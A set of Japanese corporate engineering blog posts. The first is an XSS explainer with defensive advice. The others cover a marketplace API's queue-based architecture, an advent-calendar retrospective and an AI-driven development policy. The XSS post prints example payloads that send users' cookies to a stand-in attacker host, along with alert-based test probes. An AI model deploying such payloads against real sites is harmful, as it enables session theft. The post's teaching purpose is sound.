XSS(クロスサイトスクリプティング)とは?脆弱性の診断方法と対策

こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!

Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。

XSS(クロスサイトスクリプティング)とは?

XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。

攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。

  • セッションIDやクッキー、個人情報の取得
  • ブラウザやWebサイトの不正操作
  • 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト

XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。

XSSの仕組み

XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。

仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。

例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。

ユーザーが「猫」と検索したとき:

<p>「猫」の検索結果:3件</p>

もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら?

<p><script>alert('攻撃成功!')</script>」の検索結果:0件</p>

ブラウザは攻撃者のコードがそのまま動いてしまいます。

代表的なXSSの種類

1. 反映型XSS(Reflected XSS)

URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。

例:以下のURL

https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script>

気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。

2. 蓄積型XSS(Persistent XSS)

攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。

例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました:

<script>
  // このプロフィールを見た全員のクッキーを盗む
  new Image().src = 'https://攻撃者.com/steal?c=' + document.cookie;
</script>

このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。

XSS脆弱性の診断やテスト方法

自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。

例:

<!-- 基本テスト -->
<script>alert('XSS')</script>

<!-- imgタグの onerror を使う方法 -->
<img src=x onerror=alert('XSS')>

<!-- SVGを使う方法 -->
<svg onload=alert('XSS')>

ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。

XSSの防ぎ方・対策

開発者向けの対策

  • サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字(<> など)を排除、または無害化します。
  • 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は &lt;、> は &gt;)をエスケープ処理します。これが最も根本的な対策です。
  • WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。

一般ユーザー向けの対策

  • 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。
  • 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。
  • ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。
  • セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。

エニグモでのセキュリティへの取り組み

弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。

具体的には、以下のような取り組みを行っています。

  • コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。
  • フレームワークのデフォルト機能の活用では、Ruby on Railsの html_saferaw などの使用は最小限にし、使う場合は必ずレビューで確認しています。
  • 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。

まとめ

XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。

スケールするための設計:BUYMA Personal Shopper API のイベント駆動アーキテクチャ

BUYMAのPersonal Shopper API(PS-API)が、gRPC、SQS、Webhook、非同期処理を活用して、マイクロサービスとモノリスをつなぎながらスケールする仕組みを紹介します。

こんにちは、エニグモのフェルナンドです。
SELLチームに所属し、出品者向け機能の開発を担当しています。

今回は、私たちのチームで運用している「PS-API」についてご紹介します。
日々増え続けるリクエストをどのように処理しているのか、そのアーキテクチャの裏側についてお話ししたいと思います。

👉 English version is also available below.

BUYMAでは、パーソナルショッパー(出品者)が商品を出品する方法がいくつかあります。 マイページから直接商品を登録する方法もあれば、CSVインポートを使って一括登録する方法もあります。 さらに、自社システムを運用している大規模なパートナーや事業者向けには、Personal Shopper API(通称:PS-API)を利用した連携手段も提供しています。 運用要件によっては、より深いカスタム連携を行うケースもあります。

これらの機能を利用する出品者が増えるにつれて、PS関連システムの保守・改善は、楽しくもあり、同時にとてもチャレンジングなものになっていきました。

出品方法の概要:My Page、CSVインポート、PS-API、カスタム連携

今回は、PS-APIについて紹介します。PS-APIがどのように動いているのか、なぜ非同期APIとして設計したのか、そしてマイクロサービスと大規模なモノリスをつなぐシステムを運用する中で学んだリアルな教訓について共有します。

PS-APIの目的:BUYMAのコアプラットフォームへの連携レイヤー

BUYMAはマーケットプレイスであり、商品登録は出品者にとって重要な日常業務のひとつです。 大量の商品を管理している出品者にとって、1件ずつ手動で商品を登録するのはとても大きな負担になります。 CSVインポートでその負担を減らすことができますが、在庫・価格・商品情報を自社システムで管理しているパートナーにとっては、API連携が自然な選択肢になります。

そこで登場するのがPS-APIです。

PS-APIでは、出品者が以下のような操作を行えます。

  • 商品の登録・更新
  • 在庫やバリエーションの管理
  • 注文情報の取得
  • 発送依頼の処理

PS-APIは、出品者側のシステムとBUYMAのコアプラットフォームをつなぐ、強固な連携レイヤーとして機能しています。

PS-APIは、出品者システムとBUYMAのコアプラットフォームをつなぐ連携レイヤー

課題:マイクロサービスと既存モノリスの連携

BUYMAの主要な業務処理の多くは、現在もメイン環境、つまり巨大なモノリシックなシステム上で動いています。 一方で、PS-APIはモダンなマイクロサービスとして実装されています。

私は以前にサーバーレス開発の経験はありましたが、大規模なマイクロサービスアーキテクチャに本格的に関わるのはこれが初めてでした。 キュー、ワーカー、リトライ、サービス間通信、Webhook配信といった分散システムの世界に入っていくのは、本当に、とても勉強になりました。

PS-APIとBUYMAメインシステムのアーキテクチャ概要

※ アーキテクチャは、おおまかに言うとこのような構成になっています。

ここで重要な設計思想は次の点です。

  • PS-APIは最終的な処理先ではない
  • 外部システムとBUYMAのモノリスをつなぐ「オーケストレーションレイヤー」である

なぜ非同期処理なのか

PS-APIにおける最大の設計判断のひとつが、多くの処理を非同期にしたことです。 出品者が商品登録リクエストを送信した場合、システムはすべての処理を同期的に実行して、最終結果を即時で返すわけではありません。

代わりに、次のような流れをたどります。

  1. リクエストを受け付ける
  2. 処理用のキューに積む(即時レスポンス)
  3. BUYMA側で後続処理を行う(ワーカーによる非同期処理)
  4. 最終結果をWebhookで返す

この方式には、決定的なメリットがあります。

1. トラフィックスパイクの吸収

出品者は、ときどき大量のリクエストを一斉に送信します。 ここで言う「大量」とは、監視ダッシュボードが悲鳴を上げるレベルの量です。

非同期キューを使うことで、急激なトラフィック増加をそのままコアシステムに流し込むのではなく、一度バッファとして受け止めることができます。 リクエストは順番を待ち、システムが耐えられる制御されたペースで処理されます。 最終的な商品登録処理がBUYMAのメインシステムに依存しているため、このバッファリング層は非常に重要な役割を担っています。

非同期キューにより、外部からの大量リクエストを一度バッファリングする

2. 障害時のグレースフル・デグラデーション(確実なリカバリー)

下流システムが一時的に利用できない場合でも、出品者が同じリクエストを手動で再送する必要はありません。 リクエストは安全にキューに残り、下流システムが復旧したあとに自動で処理を再開できます。

ユーザーに「成功するまで何度もリトライしてください」とお願いするより、はるかに健全です。 アプリへの信頼を完全に失ってしまう前、システム側で吸収できることは吸収すべきです。

3. コアプラットフォームの保護

商品登録や注文関連の主要な処理は、BUYMAのモノリシックなメイン環境で実行されています。 そのため、このコアシステムを過負荷から慎重に保護する必要があります。

PS-APIが外部トラフィックを受け止め、モノリス側へリクエストを渡すペース(スループット)を制御します。 これは、マイクロサービスの柔軟性と、モノリスの安定性を両立するための設計です。

gRPCとSQS:通信方式の適材適所

PS-APIでは、すべての通信を同じ方法で扱っているわけではありません。 処理の性質、つまり即時性が必要か、耐久性が必要かに応じて、gRPCとAmazon SQSを明確に使い分けています。

gRPC

gRPCは主に、即時のレスポンスが必要な内部サービス間通信で利用しています。 これは、PS-APIが現在の処理を続行する前に、信頼できる内部レスポンスを必要とするケースです。

たとえば、以下のような用途で使っています。

  • パートナーシステムとLive PS-API間の通信
  • パートナーシステムとSandbox PS-API間の通信
  • ブランド情報やカテゴリ情報などのマスターデータ取得

SQS

一方で、より重い業務処理にはSQSベースの非同期処理を利用しています。 たとえば、BUYMAのメインシステムと連携する以下のような処理です。

  • 商品登録・更新
  • 注文の発送依頼処理

なぜこの設計がうまく機能するのか

gRPCとSQSを組み合わせることで、それぞれの通信方式を多様な場面で使うことができます。 gRPCは、高速な内部リクエスト・レスポンス通信に、SQSは、耐久性のある非同期業務処理に使います。

特徴 gRPC SQS(非同期キュー)
主な用途 内部サービス間の直接通信 重い業務処理、モノリス連携
処理モデル 同期的(即時レスポンス待ち) 非同期的(Event-Driven)
メリット 高速、型安全(Protobuf)、明確な契約 耐久性、リトライ容易、スパイク吸収
具体例 マスターデータ(ブランド/カテゴリ)取得 商品の登録・更新、発送依頼処理

SQSとWebhookによる非同期ループの完成

重い処理はSQSを利用します。リクエストを受け付けると、ペイロードを保存し、その後の業務処理をワーカーが非同期で進めます。

重要なのは、SQSは「処理の完了イベント」にも利用されている点です。 商品登録が完了すると、その結果がキュー経由でPS-APIに返され、そこから出品者へWebhookレスポンスが送信されます。 Webhookは単なるAPIの即時レスポンスではなく、非同期処理の最終通知なのです。

gRPC、SQS、WebhookによるPS-APIの通信フロー

この区別には、いくつかのメリットがあります。

  • BUYMAのメインシステムを急激なトラフィック増加から保護できる
    多くの出品者が同時に商品更新リクエストを送った場合でも、リクエストをキューに積み、段階的に処理できます。
  • 信頼性が向上する
    下流システムの一部が一時的に利用できない場合でも、リクエストが消えてしまうことはなく、出品者がすべてを手動で再試行する必要もありません。
  • スケールしやすい基盤になる
    APIリクエストの受付、キュー処理、Webhook配信をそれぞれ個別に改善できます。

本当の課題:スケール

PS-APIは当初、小規模なユースケースを想定して設計されていたため、現在のトラフィック規模にはそぐわなくなっています。

サービスの普及に伴い、APIを利用する出品者数とリクエスト数が急増しました。このスケールアップに伴い、スケーラビリティや運用面でいくつかの課題が表面化してきました。

  • レートリミット
  • キューのボトルネック
  • 処理状況の可視性
  • 「リクエストは成功したのに、商品はどこにありますか?」という問い合わせ

この最後の質問に対する答えは、時々こうなります。

“技術的には……まだキューのどこかにあります。”

または、

“Webhookはエラーメッセージ付きで送信されました。”

非同期システムの運用は、設計するよりもずっと面白くなってくるのがこのあたりです。 APIを作ること自体ももちろん大変です。 しかし、リクエストが今どの処理段階にあるのかを、関係者全員が理解できるようにすることは、また別の難しさがあります。 そして多くの場合、後者の方が難しいです。

非同期システムに潜む複雑さ

外から見ると、APIリクエストはとてもシンプルに見えます。

POST /api/v1/products.json

しかし内部では、実際には以下のような複雑なパイプラインが走っています。

API
→ バリデーション
→ データベース
→ キュー
→ ワーカー
→ ストレージ
→ 画像ダウンロード
→ 後続処理(または「下流プロセッサ」)
→ 完了イベント
→ キャッシュ無効化
→ Webhook配信

APIは、単なるエンドポイントというより、空港の手荷物管理システムのようになっていきます。
システムは信頼されている。でも、リクエストが今どこにあるのかを完全に把握するのは難しい――そんな世界です。

オンプレミスからAWSへの移行

出品処理におけるデータベースのトランザクション速度を改善するうえで、大きな転機となったのがインフラのAWS移行とDBアップグレードです。AWSのリソースを活用することで、DB接続の安定性や処理性能が向上し、インポート速度も改善されました。

もちろん、AWSへ移行したりDBをアップグレードしたりしたからといって、すべてのボトルネックが簡単に消えるわけではありません。それでも、DB接続の安定性やトランザクション処理速度の改善は、非同期処理全体のパフォーマンスに大きく影響します。

今後も改善していくこと:本当の「スケール」に向けて

PS-APIはもともと少数のユーザーを想定して作られていましたが、その想定も今は昔です。 現在も、出品者が安心して運用を任せられる強固な基盤を目指し、以下の領域を継続的に改善しています。

  • より良いレートリミット戦略の実装
  • リクエスト状態の可視性向上
  • 画像ダウンロード処理の高速化とワーカーのオートスケーリング
  • 技術的な専門知識がない出品者でも、スムーズに連携を開始できるようPS-APIドキュメントを拡充
  • モノリスとマイクロサービスをまたぐ運用の改善

私たちの目標は、単に大量のリクエストを「受け付ける」ことではありません。 数千件規模のスパイクにも安定して対応し、出品者のビジネスを裏から確実に支える、真に信頼できるAPIシステムへ進化させ続けることです。

注記: 本記事内の画像は、内容をわかりやすく表現するためにAIで生成したイメージ画像です。


Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API

Good day, I’m Fernand from Enigmo.
I’m part of the SELL team, where I work on developing features that support sellers.

This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day.

At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page. Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API, or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs.

As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging.

Listing options: My Page, CSV import, PS-API, and custom integrations

This time, I would like to introduce PS-API: how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform.

Purpose of PS-API

BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step.

That is where PS-API comes in. It allows sellers to:

  • create and update products
  • manage stock and variants
  • receive order information
  • handle shipment requests

PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform.

PS-API connects seller systems with BUYMA’s core platform

The Challenge: When a Microservice Meets a Monolith

Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice.

Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational...

※ The architecture looks something like this.

High-level architecture of PS-API and BUYMA’s main system

The key point here is:

  • PS-API is not the final destination.
  • It is the orchestration layer between external personal shopper systems and BUYMA’s platform.

Why Asynchronous Processing

One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result.

Instead:

  1. The request is accepted.
  2. It is queued for processing.
  3. BUYMA processes it downstream.
  4. The final result is sent back via webhook.

This approach gives us several important advantages.

1. Handling Traffic Spikes

Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable.

With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system.

synchronous queues buffer sudden request spikes before they reach the core platform

2. Better Failure Recovery

If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers.

This is much better than asking users to keep retrying until they lose faith in the service entirely.

3. Protecting the Core Platform

Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully.

PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace.

Microservice optimism meets monolith realism.

gRPC and SQS: Choosing the Right Communication Style

In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries.

For that reason, we use both gRPC and SQS, depending on the characteristics of each process.

gRPC

We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process.

  • BUYMA Partners System ↔ Live PS-API communication
  • BUYMA Partners System ↔ Sandbox PS-API communication
  • Retrieving master data, such as brand data and category data

Using gRPC gives us several advantages:

  • fast internal communication
  • clear service contracts through protobuf definitions
  • better type safety between services
  • predictable request-response behavior

SQS

For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as:

  • product listing and update
  • order shipment request processing

These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously.

SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system.

This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed.

gRPC, SQS, and Webhook complete the asynchronous processing loop

Why This Design Works Well

Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing.

This separation gives us several benefits.

  • It protects BUYMA’s main system from sudden traffic spikes.
    If many sellers send product update requests at the same time, those requests can be queued and processed gradually.
  • It improves reliability.
    If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually.
  • It gives us a better foundation for scaling.
    API request handling, queue processing, and webhook delivery can each be improved separately.

This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform.

The Real Challenge: Scale

Originally, PS-API was intended for a relatively small number of users.
That assumption aged beautifully.

As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges:

  • rate limits
  • queue bottlenecks
  • processing visibility issues
  • inquiries like “The request succeeded, but where is my product?”

The answer to that last question is sometimes:

"Technically… somewhere in the queue."

Or:

"The webhook was already sent, along with an error message."

This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part.

The Hidden Complexity of Async Systems

From the outside, an API request may look simple:

POST /api/v1/products.json

But internally, the flow may look more like this:

API
→ validation
→ database
→ queue
→ worker
→ storage
→ image download
→ downstream processor
→ completion event
→ cache invalidation
→ webhook delivery

At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is.

From On-Premise to AWS

One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations.

Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot.

What We Are Still Improving

Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult.

We are continuing to improve areas such as:

  • better rate-limit strategies
  • faster image download processing
  • autoscaling for workers
  • better visibility into request status
  • smoother operations across monolith and microservice boundaries
  • expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform

The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests.

Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration.

hrmos.co

エニグモのアドベントカレンダー2025の振り返りと運営の工夫

こんにちは。
エニグモ採用担当の戸井です。

普段は中途採用や採用広報を担当していますが、主にエンジニア採用を担当している関係で、エンジニア組織の「Developer Relations(DevRel)チーム」にも所属しています。
DevRelチームはエンジニア組織のアウトプット促進や勉強会の運営やイベントサポートなどを行っており、その一環としてアドベントカレンダーの運営にも携わっています。

この記事では昨年実施したアドベントカレンダー全体の振り返りと、運営の取り組みについて紹介します。

アドベントカレンダーとは?

元々は、クリスマスまでの日数をカウントダウンするために使われるカレンダーで、12月1日からはじまり、25個ある「窓」を毎日1つずつ開けて中に入っている小さなお菓子やプレゼントを楽しむものです。
その慣習から、12月1日から25日まで毎日ブログ記事を公開するイベントとして、特にWeb業界やエンジニア界隈で広く親しまれています。

2025年のエニグモアドベントカレンダーはこちらです。
https://qiita.com/advent-calendar/2025/enigmo

2025年アドベントカレンダー全体の振り返り

エニグモのアドベントカレンダーは2018年よりスタートし、2025年で開催8回目となりました。
当初はエンジニア・テック系職種を中心とした取り組みでしたが、2022年からは全社イベントとして、職種問わず誰でも参加できる形で運営しています。

参加メンバーの傾向

2025年も、エンジニアを中心にさまざまな職種のメンバーが参加しました。

(内訳)
【エンジニア職種】
サーバーサイドエンジニア、インフラエンジニア、データエンジニア、検索エンジニア、データサイエンティストなど
【ビジネス職種】
マーケティング、データアナリスト、UI/UXデザイナー、管理部門など

技術系職種を中心としつつも、データ・デザイン・コーポレートなど、複数の部門から参加があり、職種横断でのアウトプットの場となりました。

また、参加回数の観点では、初めて参加するメンバーが全体の約4割を占めていました。
一方で、複数回参加しているメンバーや皆勤賞のメンバーもおり、継続的にアウトプットの場として活用されている点も特徴です。
アドベントカレンダーを一年間の振り返りやナレッジの棚卸しの機会として活用しているメンバーも多いです。

記事のテーマ・カテゴリ

記事のカテゴリーを以下の4つに分類し、集計を行いました。

・技術発信
・プロジェクト紹介
・組織・カルチャー
・入社エントリ・自己紹介
2025年は、技術発信の記事が全体の多くを占めており、エンジニアリングに関する知見の共有が中心となりました。
他にも組織やカルチャー、プロジェクト紹介、入社エントリ・自己紹介といったテーマの記事も投稿されています。

技術に限らず、個人の経験や組織の取り組みなど、多様な切り口での発信が行われたことも特徴です。 

「Advent Calendar Award」受賞記事

「Advent Calendar Award」はエニグモのアドベントカレンダーをさらに盛り上げるために実施しており、特に多く読まれた記事を表彰しています。
2025年の受賞記事は以下の通りです。

6位 アジャイルは会社ごとに別物。でも、あるあるは共通だった(BUYMA TRAVEL Webエンジニア)
5位:ローコードAIツールDifyをエンジニアが使ったら?コードブロックでハマった7つの落とし穴(データサイエンティスト)
4位:エニグモのオンボーディング:他部署体験プログラムを紹介します!(採用・採用広報担当)
3位:人事からデータアナリストへ。社内公募で兼務し始めて3ヶ月の振り返り(人事兼データアナリスト)
2位:AWSにおけるコスト削減の考え方(インフラエンジニア)
1位:Ruby on Rails アプリのパフォーマンス最適化10選(バックエンドエンジニア)

運営の取り組み

アドベントカレンダーの運営では、キックオフの実施タイミングや日々のリマインド、ガイドライン整備、執筆・レビューの進め方など、運営に関わる各プロセスを毎年アップデートしています。

また、当社のメイン事業である海外ファッションEC「BUYMA」では、年末に向けた大型セールや需要の高まりにより、12月は特にサイトへのアクセスや取引が増える時期です。
それに伴い、エンジニア側でも重要なリリースや対応が重なるタイミングとなります。

そのため、アドベントカレンダーも参加メンバー・運営側の双方にとって、無理なく継続できるよう運営を設計しています。

ここでは、こうした背景を踏まえつつ、今年特に注力した取り組みについて紹介します。

ここ2〜3年で入社したメンバーの中には、アドベントカレンダーへの参加経験がない方や、テックブログ執筆が初めての方も一定数いました。
そのため、「初めてでも参加しやすい状態をつくること」を意識しました。

具体的には、エニグモで初めてテックブログを書く方向けに、記事のテーマの考え方や執筆の進め方を解説するレクチャー会を実施しました。

レクチャー会では、以下のような内容を扱いました。

  • 記事を書く目的の共有
  • テーマの考え方
  • 記事の構成や書き方

レクチャー会の資料
テーマの考え方を説明した後は、実際に記事を書き進める際の流れについても、画面共有でデモンストレーションを行いました。
テーマ決定から情報整理、構成作成、リード文やタイトル作成までの流れをステップごとに分解し、「どのように記事を組み立てていくのか」をイメージできるようにしています。

また、ワークショップ形式を取り入れ、参加者がチームに分かれてテーマの検討や構成作成に取り組みながら、相談やディスカッションを行う時間を設けました。

ワークの中では、
* どのようなテーマを選んだか
* テーマ設定で悩んだポイント
* 書こうとしている内容や構成
* 書く中で詰まりそうな点
などを共有しながら進めてもらいました。

最後には全体でテーマや悩みを共有する時間も設け、他のメンバーの視点に触れることで、「自分の経験も記事になる」という実感につながるよう設計しました。

また、全体向けのレクチャーに加え、特に入社間もないメンバーに対しては個別に声がけを行い、テーマ設定や執筆の進め方についてフォローを行いました。
ショートミーティングを実施し、これまでの業務や担当プロジェクトを振り返りながら、その中にある技術的な工夫や、入社直後だからこそ気づけた改善点などをテーマとして言語化するサポートを行いました。

運営を通じた振り返り

今回は、例年の運営フローをベースにしながらも、初めて参加するメンバーへのサポートを強化したことが特徴でした。

その結果、新たに参加したメンバーが増えたことは、運営面でも大きな収穫だったと考えています。

レクチャー会に参加したものの、今回のアドベントカレンダーには参加できなかったメンバーも、「自分の経験でも記事を書けそう」「いつか書いてみたい」と感じるきっかけになっていれば、次回以降の参加につながる土台にはなっていると考えています。

アドベントカレンダーは年に一度の期間限定イベントではありますが、こうした毎年の積み重ねが、継続的なアウトプット文化を広げる大きなきっかけになると感じました。

また、今回の運用を通じて、いくつか改善したいポイントもあります。

まず、公開前のレビューが一部のメンバーに集中する場面がありました。
今後は、レビュー観点を整理したテンプレートの整備や、AIを活用したレビュー支援なども検討し、よりスムーズに進められる体制を整えていきたいと考えています。

また、アドベントカレンダーに限らず、継続的に発信しやすい状態をつくることも重要だと感じています。
そのため現在は、日常的なアウトプットを促進する仕組みづくりにも取り組んでいます。

さいごに

2025年もエニグモのアドベントカレンダーは、無事25日完走することができました。
従来の運営フローをベースにしつつ、初めて執筆するメンバーへのサポートを強化したことで、新しい参加の広がりにもつながりました。

今後も、より継続的に情報発信しやすい運営を目指していきます。

これからのエニグモ開発者ブログの発信を、ぜひご覧いただけると嬉しいです。

AI駆動開発とベンチャー回帰で創る次世代エンジニア組織

こんにちはVPoEの木村です。

会社として新年度を迎え少し経ちましたが、先月頭、エンジニア組織の今期以降の運営方針を社内向けに発表しました。今回はその方針について、ブログでもご紹介したいと思います。 テーマは「AIの最大活用〜新開発フロー・体制へ移行〜」「ベンチャー回帰〜ビジネス成果への直接貢献〜」です。

先期の振り返り
 〜再確認した内製エンジニア組織としての存在意義とAIの力〜

先期を振り返る時に欠かせないトピックとしてまず挙げられるのが、大規模メンテナンスを実施し、BUYMAのインフラ基盤をオンプレからAWSへ移行したことです。 事前に最大限リスクを取り除く努力はしたものの、一定のリスクを伴うビッグバン方式での移行になりましたが、やり遂げた後としては、なんとか力技で捩じ伏せることができたようなベンチャー感を思い出す感覚がありました。

長年運営してきたサービスの癖やパターンを知り尽くし、何があってもサービスを動かし続けてきた内製エンジニア組織だからこそ採れたアプローチだと思います。 また、時間的・人員的なリソースも十分とは言えないなかでも、AIをカウントされないプロジェクトメンバーとして、移行日直前に「本当はやりたいけど時間がない」という追い込みの作業を実現したり、移設中・直後の不具合調査の高速化などに活用することができました。

AI活用についてはそれ以外にも業務面、プロダクト面にも進み、リリースできた様々な機能追加や改善を振り返ると、数年分の成果を1年に詰め込んだような実りの多い期だったと感じます。今期はそんな成功パターンを組織全体へスケールさせていくため、「AIの最大活用」と「ベンチャー回帰」をテーマに前年踏襲をやめ、ドラスティックな方針転換を図ります。


方針1:AIの最大活用 〜新開発フロー・体制へ移行〜

「AIに仕事を奪われるのでは?」という漠然とした不安を持つのではなく、「全員でAI武装し『アベンジャーズ』になろう」というのが私たちのスタンスです。AIをフル活用可能な開発フローと体制に移行していきます。

新開発フロー

単なる作業の効率化にとどまらず、再構築された価値提供のパイプラインを生み出すために、下図のとおり全く新しいAI駆動開発フローへの移行を進めます。

AI駆動開発フロー

新開発フローのステップは以下の通りです。

  1. 設計(人間+AI): Notion上でドキュメント作成。Notion AIを活用してPRD、要件定義書、タスク分解・計画を生成します。
  2. 仮実装(AI単独): ドキュメントをコンテキストとして、AIがIssueを立ててブランチ作成、実装、Pull Request作成までを完全自動化します。
  3. 本実装(人間+AI): 仮実装をチェックアウトし、Cursorを活用してローカルで動作確認・仕上げを実施します。
  4. レビュー(AI→人間): AIによる静的解析と事前レビューを通過したものだけを人間がレビューします。

本フローを構築していくにあたり、細かいツールや技術選定は詰めていく必要はあるものの、ナレッジ管理ツールとして利用していたesaと、プロジェクト管理ツールとして利用していたRedmine/JiraはNotionへ移行・統合していきます。また、コード管理・CI/CDの基盤としてセルフマネージドでGitLabを利用してきましたが、生成AIのエコシステムへの統合がより進んでいるGitHubへと移行します。

このフローでは2の仮実装という、AIにより完全自動化されたステップが組み込まれていることがポイントです。これにより下図のように実装時の調整やQAでの不具合はすべてドキュメントにフィードバックされ、ドキュメントの成熟とともにAIで完全自動化されたステップの精度が向上し、全体が省力化され続けるサイクルを構築します。

AI駆動開発成熟の仕組み

新開発体制へ

